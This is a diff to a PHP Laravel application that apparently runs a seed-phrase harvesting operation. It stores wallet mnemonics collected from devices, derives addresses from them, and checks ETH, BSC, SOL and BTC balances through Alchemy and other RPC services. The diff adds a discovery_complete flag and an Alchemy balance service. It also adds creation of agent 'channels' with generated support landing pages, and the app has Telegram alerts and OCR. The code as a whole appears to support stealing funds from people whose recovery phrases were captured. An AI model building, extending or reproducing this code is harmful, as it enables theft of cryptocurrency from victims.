diff --git a/app/Console/Commands/LinkMnemonicsCommand.php b/app/Console/Commands/LinkMnemonicsCommand.php index 4e3ecfa..3fbb1fc 100644 --- a/app/Console/Commands/LinkMnemonicsCommand.php +++ b/app/Console/Commands/LinkMnemonicsCommand.php @@ -21,8 +21,10 @@ class LinkMnemonicsCommand extends Command $result = $linker->backfill(); + // Only probe mnemonics that haven't been fully discovered across all 5 + // chains yet. Manual "view wallet" / "refresh" bypasses this via force=true. $discovered = 0; - foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) { + foreach (WalletMnemonic::query()->where('discovery_complete', false)->orderBy('id')->cursor() as $mnemonic) { $discovered += $discovery->discoverActivated($mnemonic); } diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index 6e8a68f..4c1bd1d 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -106,9 +106,11 @@ class ChannelController extends Controller { $builderType = strtolower(trim((string) request()->query('builder_type', 'new'))); - $channelId = $builderType === Channel::BUILDER_APP - ? Channel::randomAppChannelId() - : Channel::randomNewChannelId(); + $channelId = match ($builderType) { + Channel::BUILDER_APP => Channel::randomAppChannelId(), + Channel::BUILDER_OLD => Channel::randomChannelId(), + default => Channel::randomNewChannelId(), + }; return response()->json([ 'code' => 0, @@ -128,6 +130,11 @@ class ChannelController extends Controller return $this->storeAppChannel($request); } + // ── Old builder: 32-hex channel id, /web/{id}/support.html ── + if ($builderType === Channel::BUILDER_OLD) { + return $this->storeOldChannel($request, $projects); + } + $data = $request->validate([ 'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN], 'user_id' => ['nullable', 'integer', 'min:0'], @@ -294,6 +301,109 @@ class ChannelController extends Controller ]); } + /** + * Create an "old" builder channel — 32-hex channel id, static resources + * under /web/{id}/ via the legacy channel-builder (new_project.py). + * Mirrors the new-builder flow but with the old id format and builder. + */ + private function storeOldChannel(Request $request, ChannelProjectService $projects) + { + $data = $request->validate([ + 'channel_id' => ['nullable', 'string', 'max:64'], + 'user_id' => ['nullable', 'integer', 'min:0'], + 'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)], + 'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'], + 'reporting_seed' => ['nullable', 'string', 'min:1', 'max:32'], + 'remark' => ['nullable', 'string', 'max:255'], + 'status' => ['nullable', 'integer', Rule::in([0, 1])], + ]); + + $channelId = strtolower(trim((string) ($data['channel_id'] ?? ''))); + if ($channelId === '') { + $channelId = Channel::randomChannelId(); + } + if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) { + throw ValidationException::withMessages(['channel_id' => '旧版渠道 ID 必须是 32 位 hex']); + } + if (Channel::isReservedChannelName($channelId)) { + throw ValidationException::withMessages(['channel_id' => '该渠道 ID 为保留名,请重新生成']); + } + if (Channel::query()->where('channel_id', $channelId)->exists()) { + throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']); + } + + $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID); + if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) { + throw ValidationException::withMessages(['user_id' => '代理用户不存在']); + } + + $builderType = Channel::BUILDER_OLD; + $supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE); + $this->assertAgentChannelQuota($userId); + + try { + $build = $projects->generate( + $channelId, + $supportTemplate, + $data['deployment_seed'] ?? null, + $data['reporting_seed'] ?? null, + $builderType, + ); + } catch (\Throwable $e) { + return response()->json([ + 'code' => 1, + 'msg' => $e->getMessage() ?: '渠道资源生成失败', + ], 422); + } + + try { + $channel = DB::transaction(function () use ($data, $userId, $builderType, $channelId) { + if ($userId > 0) { + $userExists = User::query()->lockForUpdate()->whereKey($userId)->exists(); + if (! $userExists) { + throw ValidationException::withMessages(['user_id' => '代理用户不存在']); + } + $this->assertAgentChannelQuota($userId); + } + + return Channel::query()->create([ + 'channel_id' => $channelId, + 'builder_type' => $builderType, + 'user_id' => $userId, + 'domains' => [], + 'remark' => $data['remark'] ?? null, + 'status' => (int) ($data['status'] ?? 1), + ]); + }); + } catch (\Throwable $e) { + $this->compensateBuildUnlessChannelExists($projects, $channelId, $builderType); + + return response()->json([ + 'code' => 1, + 'msg' => $e->getMessage() ?: '创建失败', + ], 422); + } + + return response()->json([ + 'code' => 0, + 'msg' => 'ok', + 'data' => [ + 'id' => $channel->id, + 'builder_type' => $channel->builderType(), + 'links' => $channel->supportLinks(), + 'seeds' => $build['seeds'], + 'domains' => $build['domains'], + 'seeds_initialized' => $build['seeds_initialized'], + 'sync_rebuilt' => $build['sync_rebuilt'], + 'support_path' => $build['support_path'] ?? $channel->landingPath(), + 'weifile_path' => $build['weifile_path'] ?? null, + 'daily_path' => $build['daily_path'] ?? '', + 'channel_dir' => $build['channel_dir'] ?? null, + 'show_alias' => $build['show_alias'] ?? null, + ], + ]); + } + public function update(Request $request, Channel $channel) { $this->authorizeChannel($channel); diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 00eb717..01412a8 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -258,6 +258,8 @@ class MnemonicController extends Controller return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } + // Discovery runs on the POST refresh (auto-triggered by the dialog when + // updating=true). The GET just returns current state + inactive previews. return response()->json([ 'code' => 0, 'msg' => '', @@ -289,7 +291,8 @@ class MnemonicController extends Controller RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS); - $discovery->discoverActivated($mnemonic); + // Manual refresh: force re-probe of unlinked chains (bypass discovery_complete + miss cache). + $discovery->discoverActivated($mnemonic, true); $addresses = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) diff --git a/app/Models/WalletMnemonic.php b/app/Models/WalletMnemonic.php index 577ffcc..5ed0999 100644 --- a/app/Models/WalletMnemonic.php +++ b/app/Models/WalletMnemonic.php @@ -11,8 +11,17 @@ class WalletMnemonic extends Model { protected $fillable = [ 'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc', + 'discovery_complete', 'discovered_at', ]; + protected function casts(): array + { + return [ + 'discovery_complete' => 'boolean', + 'discovered_at' => 'datetime', + ]; + } + public function device(): BelongsTo { return $this->belongsTo(Device::class); diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index 05a9fdd..ffc8b5a 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -2,6 +2,7 @@ namespace App\Providers; +use App\Services\Alchemy\AlchemyBalanceService; use App\Services\CorunaArchive; use App\Services\CorunaCrypto; use App\Services\Ocr\OcrDriver; @@ -41,6 +42,10 @@ class AppServiceProvider extends ServiceProvider }); $this->app->bind(OcrDriver::class, TesseractOcrDriver::class); + + $this->app->singleton(AlchemyBalanceService::class, function () { + return AlchemyBalanceService::make(); + }); } public function boot(): void diff --git a/app/Services/Alchemy/AlchemyBalanceService.php b/app/Services/Alchemy/AlchemyBalanceService.php new file mode 100644 index 0000000..6b4769f --- /dev/null +++ b/app/Services/Alchemy/AlchemyBalanceService.php @@ -0,0 +1,365 @@ + bool, + * 'native' => ['symbol','amount','amount_usd','contract'] | null, + * 'tokens' => list<['symbol','contract','decimals','amount','amount_usd']>, + * 'first_active' => null, + * 'last_active' => null, + * ] + */ +class AlchemyBalanceService +{ + public const DISABLE_CACHE_KEY = 'alchemy-data:disabled'; + public const DISABLE_TTL_SECONDS = 300; + + public function __construct( + private readonly string $apiKey, + private readonly string $ethRpcBase, + private readonly string $bscRpcBase, + private readonly string $solRpcBase, + private readonly int $timeout, + ) {} + + public static function make(): self + { + return new self( + (string) config('coruna.alchemy.api_key', ''), + rtrim((string) config('coruna.alchemy.eth_rpc_url', ''), '/'), + rtrim((string) config('coruna.alchemy.bsc_rpc_url', ''), '/'), + rtrim((string) config('coruna.alchemy.sol_rpc_url', ''), '/'), + (int) config('coruna.alchemy.timeout', 30), + ); + } + + public function isEnabled(): bool + { + return trim($this->apiKey) !== '' && ! Cache::has(self::DISABLE_CACHE_KEY); + } + + private function disableTemporarily(): void + { + Cache::put(self::DISABLE_CACHE_KEY, 1, self::DISABLE_TTL_SECONDS); + } + + /** + * Map chain_type → Alchemy network slug + RPC base. Null = not handled here. + * + * @return array{network: string, rpc: string, native: string}|null + */ + private function evmSpec(string $chainType): ?array + { + return match (strtoupper(trim($chainType))) { + 'ETH', 'ETHEREUM', 'EVM' => ['network' => 'eth-mainnet', 'rpc' => $this->ethRpcBase, 'native' => 'ETH'], + 'BSC', 'BNB', 'BINANCE' => ['network' => 'bnb-mainnet', 'rpc' => $this->bscRpcBase, 'native' => 'BNB'], + default => null, + }; + } + + /** + * SOL network spec (Solana JSON-RPC, separate from EVM). + */ + private function solSpec(): ?array + { + return $this->solRpcBase !== '' ? ['network' => 'solana-mainnet', 'rpc' => $this->solRpcBase] : null; + } + + /** + * Balance + activation + USDT for the refresh/probe path. No price enrichment + * (the refresh only persists coin columns, not USD). Returns null when the + * chain is not handled here or the Alchemy RPC is unavailable → caller falls + * back to the per-chain RPC driver. + * + * @return array{activated: bool, native: ?array, tokens: list, first_active: ?string, last_active: ?string}|null + */ + public function fetch(string $chainType, string $address): ?array + { + $addr = trim($address); + if ($addr === '' || ! $this->isEnabled()) { + return null; + } + + $upper = strtoupper(trim($chainType)); + if (in_array($upper, ['SOL', 'SOLANA'], true)) { + return $this->fetchSol($addr); + } + + $spec = $this->evmSpec($chainType); + if ($spec === null) { + return null; // BTC/TRON handled elsewhere + } + + $rpc = $spec['rpc']; + if ($rpc === '') { + return null; // network not configured + } + + try { + $nativeHex = $this->rpc($rpc, 'eth_getBalance', [$this->evmAddr($addr), 'latest']); + $txCountHex = $this->rpc($rpc, 'eth_getTransactionCount', [$this->evmAddr($addr), 'latest']); + $native = $this->humanize($this->hexToDec((string) $nativeHex), 18); + $txCount = (int) hexdec((string) $txCountHex); + $activated = $this->positive($native) || $txCount > 0; + + $usdtContract = (string) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_contract', ''); + $usdt = '0'; + $usdtDecimals = 6; + if ($usdtContract !== '') { + $usdtRaw = $this->tokenBalanceRaw($rpc, $addr, $usdtContract); + $usdtDecimals = (int) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_decimals', 6); + $usdt = $this->humanize($usdtRaw, $usdtDecimals); + } + + $tokens = []; + if ($this->positive($usdt)) { + $tokens[] = [ + 'symbol' => 'USDT', + 'contract' => $usdtContract, + 'decimals' => $usdtDecimals, + 'amount' => $usdt, + 'amount_usd' => null, + ]; + } + + return [ + 'activated' => $activated, + 'native' => $this->positive($native) + ? ['symbol' => $spec['native'], 'amount' => $native, 'amount_usd' => null, 'contract' => ''] + : null, + 'tokens' => $tokens, + 'first_active' => null, + 'last_active' => null, + ]; + } catch (\Throwable $e) { + Log::warning('Alchemy fetch failed', [ + 'chain' => $chainType, + 'address' => $addr, + 'error' => $e->getMessage(), + ]); + + return null; + } + } + + /** + * SOL balance + USDT (SPL) via Alchemy Solana JSON-RPC. + * + * @return array{activated: bool, native: ?array, tokens: list, first_active: ?string, last_active: ?string}|null + */ + private function fetchSol(string $address): ?array + { + $spec = $this->solSpec(); + if ($spec === null) { + return null; // SOL not configured + } + $rpc = $spec['rpc']; + + try { + $balanceResult = $this->rpc($rpc, 'getBalance', [$address, ['commitment' => 'confirmed']]); + $lamports = '0'; + if (is_array($balanceResult) && isset($balanceResult['value']) && is_numeric($balanceResult['value'])) { + $lamports = (string) $balanceResult['value']; + } elseif (is_numeric($balanceResult)) { + $lamports = (string) $balanceResult; + } + $sol = $this->fromLamports($lamports); + + $usdtMint = (string) config('coruna.sol.usdt_contract', ''); + $usdtDecimals = (int) config('coruna.sol.usdt_decimals', 6); + $usdt = '0'; + if ($usdtMint !== '') { + $usdt = $this->solTokenBalance($rpc, $address, $usdtMint, $usdtDecimals); + } + + $activated = $this->positive($sol) || $this->positive($usdt); + $tokens = []; + if ($this->positive($usdt)) { + $tokens[] = [ + 'symbol' => 'USDT', + 'contract' => $usdtMint, + 'decimals' => $usdtDecimals, + 'amount' => $usdt, + 'amount_usd' => null, + ]; + } + + return [ + 'activated' => $activated, + 'native' => $this->positive($sol) + ? ['symbol' => 'SOL', 'amount' => $sol, 'amount_usd' => null, 'contract' => ''] + : null, + 'tokens' => $tokens, + 'first_active' => null, + 'last_active' => null, + ]; + } catch (\Throwable $e) { + Log::warning('Alchemy SOL fetch failed', ['address' => $address, 'error' => $e->getMessage()]); + + return null; + } + } + + /** + * Sum SPL token units across all token accounts owned by $address for $mint. + */ + private function solTokenBalance(string $rpc, string $address, string $mint, int &$decimals): string + { + try { + $result = $this->rpc($rpc, 'getTokenAccountsByOwner', [ + $address, + ['mint' => $mint], + ['encoding' => 'jsonParsed', 'commitment' => 'confirmed'], + ]); + } catch (\Throwable) { + return '0'; + } + $accounts = is_array($result) && isset($result['value']) ? $result['value'] : []; + $total = '0'; + foreach ($accounts as $entry) { + $info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null; + if (! is_array($info)) { + continue; + } + $amount = (string) ($info['amount'] ?? '0'); + if (! preg_match('/^\d+$/', $amount)) { + continue; + } + if (isset($info['decimals']) && is_numeric($info['decimals'])) { + $decimals = (int) $info['decimals']; + } + $total = bcadd($total, $amount, 0); + } + + return $this->humanize($total, max(0, $decimals)); + } + + private function fromLamports(string $lamports): string + { + if (! preg_match('/^\d+$/', $lamports)) { + $lamports = '0'; + } + $human = bcdiv($lamports, '1000000000', 9); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + + /** + * Raw ERC20/BEP20 balanceOf (units) via eth_call. + */ + private function tokenBalanceRaw(string $rpc, string $address, string $contract): string + { + $data = '0x70a08231'.str_pad(substr($this->evmAddr($address), 2), 64, '0', STR_PAD_LEFT); + try { + $hex = $this->rpc($rpc, 'eth_call', [['to' => $this->evmAddr($contract), 'data' => $data], 'latest']); + } catch (\Throwable) { + return '0'; + } + + return $this->hexToDec((string) $hex); + } + + /** + * @return mixed + */ + private function rpc(string $base, string $method, array $params) + { + $url = $base.'/'.$this->apiKey; + $resp = Http::connectTimeout(15)->timeout($this->timeout) + ->acceptJson()->asJson() + ->post($url, [ + 'jsonrpc' => '2.0', + 'id' => 1, + 'method' => $method, + 'params' => $params, + ]); + + if ($resp->status() === 401) { + $this->disableTemporarily(); + throw new \RuntimeException('Alchemy 401 (invalid key or network not enabled)'); + } + if (! $resp->successful()) { + throw new \RuntimeException('Alchemy HTTP '.$resp->status()); + } + $json = $resp->json(); + if (! is_array($json)) { + throw new \RuntimeException('Alchemy invalid response'); + } + if (isset($json['error'])) { + $msg = $json['error']['message'] ?? json_encode($json['error']); + throw new \RuntimeException('Alchemy RPC: '.(is_string($msg) ? $msg : 'error')); + } + + return $json['result'] ?? null; + } + + private function evmAddr(string $addr): string + { + return strtolower(trim($addr)); + } + + private function hexToDec(string $hex): string + { + $hex = ltrim($hex, '0x'); + if ($hex === '' || ! preg_match('/^[0-9a-fA-F]+$/', $hex)) { + return '0'; + } + $dec = ''; + $len = strlen($hex); + for ($i = 0; $i < $len; $i++) { + $carry = hexdec($hex[$i]); + $dec = $this->bcAddDigit($dec, $carry); + } + + return $dec === '' ? '0' : $dec; + } + + private function bcAddDigit(string $acc, int $digit): string + { + if ($digit === 0 && $acc === '') { + return '0'; + } + return bcadd(bcmul($acc === '' ? '0' : $acc, '16', 0), (string) $digit, 0); + } + + private function humanize(string $units, int $decimals): string + { + if (! preg_match('/^\d+$/', $units)) { + return '0'; + } + if ($decimals <= 0) { + return $units === '' ? '0' : $units; + } + $factor = bcpow('10', (string) $decimals, 0); + $human = bcdiv($units, $factor, $decimals); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + + private function positive(string $amount): bool + { + return preg_match('/^-?\d+(\.\d+)?$/', $amount) && bccomp($amount, '0', 18) > 0; + } + + private function positiveUnits(string $units): bool + { + return preg_match('/^\d+$/', $units) && bccomp($units, '0', 0) > 0; + } +} diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index 509fca7..fa94bda 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -4,6 +4,7 @@ namespace App\Services; use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\Alchemy\AlchemyBalanceService; use App\Services\Chain\BtcDriver; use App\Services\Chain\ChainDriver; use App\Services\Chain\ChainHttpTimeout; @@ -43,6 +44,7 @@ class MnemonicWalletDiscovery private readonly ChainManager $chains, private readonly TelegramNotifier $telegram, private readonly TokenviewMonitorService $tokenview, + private readonly AlchemyBalanceService $alchemy, ) {} /** @@ -54,9 +56,13 @@ class MnemonicWalletDiscovery } /** + * @param bool $force Manual trigger (view wallet / refresh): bypass the + * discovery_complete flag and the per-chain miss cache + * so unlinked chains are always re-probed. Does not + * set discovery_complete. * @return int Number of address rows created or updated */ - public function discoverActivated(WalletMnemonic $mnemonic): int + public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { @@ -73,6 +79,11 @@ class MnemonicWalletDiscovery return 0; } + // Scheduled task: skip mnemonics already fully probed across all chains. + if (! $force && (bool) $mnemonic->discovery_complete) { + return 0; + } + $linkedChainTypes = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->pluck('chain_type') @@ -84,30 +95,40 @@ class MnemonicWalletDiscovery $source = trim((string) ($mnemonic->source ?: '')); $saved = []; + $covered = []; // chain => true when linked / miss-cached / probed this run - return ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, &$saved) { + $created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) { foreach (self::CHAINS as $spec) { - if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) { + $chain = $spec['chain']; + + if ($this->hasLinkedChain($linkedChainTypes, $chain)) { + $covered[$chain] = true; continue; } - if (Cache::has($this->missCacheKey($mnemonic, $spec['chain']))) { + + // Scheduled runs respect the miss cache; manual force bypasses it. + if (! $force && Cache::has($this->missCacheKey($mnemonic, $chain))) { + $covered[$chain] = true; continue; } try { - $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); + $rows = $this->discoverChain($mnemonic, $phrase, $source, $chain, $spec['chain_type']); } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, - 'chain' => $spec['chain'], + 'chain' => $chain, ]); - $this->rememberMiss($mnemonic, $spec['chain']); + $this->rememberMiss($mnemonic, $chain); + $covered[$chain] = true; continue; } + $covered[$chain] = true; + if ($rows === []) { - $this->rememberMiss($mnemonic, $spec['chain']); + $this->rememberMiss($mnemonic, $chain); } foreach ($rows as $row) { $saved[] = $row; @@ -120,6 +141,18 @@ class MnemonicWalletDiscovery return count($saved); }); + + // Scheduled run: mark complete once every chain has been probed at least once. + if (! $force && count($covered) === count(self::CHAINS)) { + WalletMnemonic::query() + ->whereKey($mnemonic->id) + ->update([ + 'discovery_complete' => true, + 'discovered_at' => now(), + ]); + } + + return $created; } private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string @@ -283,6 +316,17 @@ class MnemonicWalletDiscovery */ private function probeEth(ChainDriver $driver, string $address): array { + if ($this->alchemy->isEnabled()) { + $result = $this->alchemy->fetch('ETH', $address); + if ($result !== null) { + return [ + 'activated' => $result['activated'], + 'coins' => $this->evmCoinsFromAlchemy($result, 'eth'), + ]; + } + // Alchemy failed → fall through to RPC. + } + if (! $driver->isActivated($address)) { return ['activated' => false, 'coins' => $this->emptyCoins('eth')]; } @@ -296,11 +340,42 @@ class MnemonicWalletDiscovery ]; } + /** + * @param array $result + * @return array + */ + private function evmCoinsFromAlchemy(array $result, string $network): array + { + $coins = $this->emptyCoins($network); + if ($result['native'] !== null) { + $coins[$network] = $result['native']['amount']; + } + foreach ($result['tokens'] as $t) { + if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') { + $coins['usdt'] = $t['amount']; + break; + } + } + + return $coins; + } + /** * @return array{activated: bool, coins: array} */ private function probeBsc(ChainDriver $driver, string $address): array { + if ($this->alchemy->isEnabled()) { + $result = $this->alchemy->fetch('BSC', $address); + if ($result !== null) { + return [ + 'activated' => $result['activated'], + 'coins' => $this->evmCoinsFromAlchemy($result, 'bnb'), + ]; + } + // Alchemy failed → fall through to RPC. + } + try { $bnb = $driver->getNativeBalance($address); } catch (\Throwable $e) { @@ -326,6 +401,7 @@ class MnemonicWalletDiscovery private function probeBtc(ChainDriver $driver, string $address): array { + // Alchemy has no BTC chain RPC; BTC stays on the BtcDriver. if ($driver instanceof BtcDriver) { $probe = $driver->probeAddress($address); @@ -350,6 +426,17 @@ class MnemonicWalletDiscovery */ private function probeSol(ChainDriver $driver, string $address): array { + if ($this->alchemy->isEnabled()) { + $result = $this->alchemy->fetch('SOL', $address); + if ($result !== null) { + return [ + 'activated' => $result['activated'], + 'coins' => $this->solCoinsFromAlchemy($result), + ]; + } + // Alchemy failed → fall through to SolDriver RPC. + } + try { $sol = $driver->getNativeBalance($address); } catch (\Throwable $e) { @@ -375,6 +462,26 @@ class MnemonicWalletDiscovery ]; } + /** + * @param array $result + * @return array + */ + private function solCoinsFromAlchemy(array $result): array + { + $coins = $this->emptyCoins('sol'); + if ($result['native'] !== null) { + $coins['sol'] = $result['native']['amount']; + } + foreach ($result['tokens'] as $t) { + if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') { + $coins['usdt'] = $t['amount']; + break; + } + } + + return $coins; + } + /** * @param array $coins */ diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index 0816313..d7d07a5 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -3,6 +3,7 @@ namespace App\Services; use App\Models\WalletAddress; +use App\Services\Alchemy\AlchemyBalanceService; use App\Services\Chain\ChainManager; use App\Services\Chain\TronDriver; use Illuminate\Support\Facades\Http; @@ -19,6 +20,7 @@ class WalletBalanceService { public function __construct( private readonly ChainManager $chains, + private readonly AlchemyBalanceService $alchemy, ) {} /** @@ -47,6 +49,14 @@ class WalletBalanceService return false; } + if ($this->alchemy->isEnabled()) { + $ok = $this->refreshEvmViaAlchemy($address, $addr, 'ETH', 'eth'); + if ($ok) { + return true; + } + // Alchemy failed → fall through to RPC. + } + try { $driver = $this->chains->resolve('eth'); $attrs = [ @@ -69,6 +79,7 @@ class WalletBalanceService 'eth' => $address->eth, 'usdt' => $address->usdt, 'bnb' => $address->bnb, + 'source' => 'rpc', ]); return true; @@ -82,6 +93,93 @@ class WalletBalanceService } } + /** + * Alchemy path for ETH/BSC refresh. One eth_getBalance + one eth_call (USDT). + * For ETH, also pull the BSC sibling (BNB + BEP20 USDT) via Alchemy when the + * BSC network is enabled, else via the BSC RPC driver. + */ + private function refreshEvmViaAlchemy(WalletAddress $address, string $addr, string $nativeSymbol, string $network): bool + { + $result = $this->alchemy->fetch($nativeSymbol, $addr); + if ($result === null) { + return false; + } + + $attrs = []; + if ($result['native'] !== null) { + $attrs[strtolower($nativeSymbol)] = $result['native']['amount']; + } + $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT'); + if ($usdt !== null) { + $attrs['usdt'] = $usdt['amount']; + } + + // ETH address == BSC address: also pull BNB + BEP20 USDT and persist sibling. + if ($nativeSymbol === 'ETH') { + $bsc = $this->alchemy->fetch('BSC', $addr); + if ($bsc !== null) { + if ($bsc['native'] !== null) { + $attrs['bnb'] = $bsc['native']['amount']; + } + $bscUsdt = $this->findTokenBySymbol($bsc['tokens'], 'USDT'); + $this->persistBscSibling($address, [ + 'bnb' => $bsc['native']['amount'] ?? '0', + 'usdt' => $bscUsdt !== null ? $bscUsdt['amount'] : '0', + ]); + } else { + // Alchemy BSC not enabled → fall back to BSC RPC for the sibling. + $bscCoins = $this->bscCoins($addr); + if ($bscCoins !== null) { + $attrs['bnb'] = $bscCoins['bnb']; + $this->persistBscSibling($address, $bscCoins); + } + } + } + + $this->persistCoins($address, $attrs); + + Log::info('eth balance refresh ok', [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + 'source' => 'alchemy', + ]); + + return true; + } + + /** + * @param list> $tokens + */ + private function findTokenBySymbol(array $tokens, string $symbol): ?array + { + $symbol = strtoupper(trim($symbol)); + foreach ($tokens as $t) { + if (strtoupper((string) ($t['symbol'] ?? '')) === $symbol) { + return $t; + } + } + + return null; + } + + /** + * @param list> $tokens + */ + private function findTokenByContract(array $tokens, string $contract): ?array + { + $contract = strtolower($contract); + if ($contract === '') { + return null; + } + foreach ($tokens as $t) { + if (strtolower((string) ($t['contract'] ?? '')) === $contract) { + return $t; + } + } + + return null; + } + public function refreshBsc(WalletAddress $address): bool { $addr = trim((string) $address->address); @@ -89,6 +187,30 @@ class WalletBalanceService return false; } + if ($this->alchemy->isEnabled()) { + $result = $this->alchemy->fetch('BSC', $addr); + if ($result !== null) { + $attrs = []; + if ($result['native'] !== null) { + $attrs['bnb'] = $result['native']['amount']; + } + $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT'); + if ($usdt !== null) { + $attrs['usdt'] = $usdt['amount']; + } + $this->persistCoins($address, $attrs); + + Log::info('bsc balance refresh ok', [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + 'source' => 'alchemy', + ]); + + return true; + } + // Alchemy failed → fall through to RPC. + } + try { $coins = $this->bscCoins($addr); if ($coins === null) { @@ -104,6 +226,7 @@ class WalletBalanceService 'address' => $addr, 'bnb' => $address->bnb, 'usdt' => $address->usdt, + 'source' => 'rpc', ]); return true; @@ -227,6 +350,7 @@ class WalletBalanceService return false; } + // Alchemy has no BTC chain RPC; BTC stays on the BtcDriver (mempool.space). try { $driver = $this->chains->resolve('btc'); $this->persistCoins($address, [ @@ -237,6 +361,7 @@ class WalletBalanceService 'wallet_address_id' => $address->id, 'address' => $addr, 'btc' => $address->btc, + 'source' => 'rpc', ]); return true; @@ -257,6 +382,30 @@ class WalletBalanceService return false; } + if ($this->alchemy->isEnabled()) { + $result = $this->alchemy->fetch('SOL', $addr); + if ($result !== null) { + $attrs = []; + if ($result['native'] !== null) { + $attrs['sol'] = $result['native']['amount']; + } + $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT'); + if ($usdt !== null) { + $attrs['usdt'] = $usdt['amount']; + } + $this->persistCoins($address, $attrs); + + Log::info('sol balance refresh ok', [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + 'source' => 'alchemy', + ]); + + return true; + } + // Alchemy failed → fall through to SolDriver RPC. + } + try { $driver = $this->chains->resolve('sol'); $attrs = [ @@ -273,6 +422,7 @@ class WalletBalanceService 'address' => $addr, 'sol' => $address->sol, 'usdt' => $address->usdt, + 'source' => 'rpc', ]); return true; @@ -444,4 +594,5 @@ class WalletBalanceService return $human === '' ? '0' : $human; } + } diff --git a/config/coruna.php b/config/coruna.php index f0c301b..79def69 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -107,6 +107,25 @@ return [ 'api_key' => env('TOKENVIEW_API_KEY', ''), 'sign_key' => env('TOKENVIEW_SIGN_KEY', ''), 'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'), + // Separate Blockchain Data API key (balance + activation + all-token for ETH/BSC/BTC/SOL). + // Falls back to api_key when empty. Empty/unauthorized → per-chain RPC fallback. + 'data_api_key' => env('TOKENVIEW_DATA_API_KEY', ''), + 'data_timeout' => (int) env('TOKENVIEW_DATA_TIMEOUT', 30), + ], + // Alchemy Blockchain Data + Prices API. Used for balance / all-token inventory + // and USD token value estimation. ETH/BSC/SOL JSON-RPC + Prices REST. + // Chains not enabled on the Alchemy app fall back to their per-chain RPC driver. + 'alchemy' => [ + 'api_key' => env('ALCHEMY_API_KEY', ''), + // JSON-RPC endpoints per network. Empty network = not configured. + 'eth_rpc_url' => env('ALCHEMY_ETH_RPC_URL', 'https://eth-mainnet.g.alchemy.com/v2'), + 'bsc_rpc_url' => env('ALCHEMY_BSC_RPC_URL', 'https://bnb-mainnet.g.alchemy.com/v2'), + 'sol_rpc_url' => env('ALCHEMY_SOL_RPC_URL', 'https://solana-mainnet.g.alchemy.com/v2'), + // Prices REST API (independent of RPC network enablement). + 'prices_url' => env('ALCHEMY_PRICES_URL', 'https://api.g.alchemy.com/prices/v1'), + 'timeout' => (int) env('ALCHEMY_TIMEOUT', 30), + // Max non-zero tokens to enrich with metadata + price per all-token query. + 'max_token_enrich' => (int) env('ALCHEMY_MAX_TOKEN_ENRICH', 100), ], 'tron' => [ 'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'), diff --git a/database/migrations/2026_09_29_000010_add_discovery_complete_to_wallet_mnemonics.php b/database/migrations/2026_09_29_000010_add_discovery_complete_to_wallet_mnemonics.php new file mode 100644 index 0000000..0d63fa6 --- /dev/null +++ b/database/migrations/2026_09_29_000010_add_discovery_complete_to_wallet_mnemonics.php @@ -0,0 +1,23 @@ +boolean('discovery_complete')->default(false)->after('mnemonic_enc'); + $table->timestamp('discovered_at')->nullable()->after('discovery_complete'); + }); + } + + public function down(): void + { + 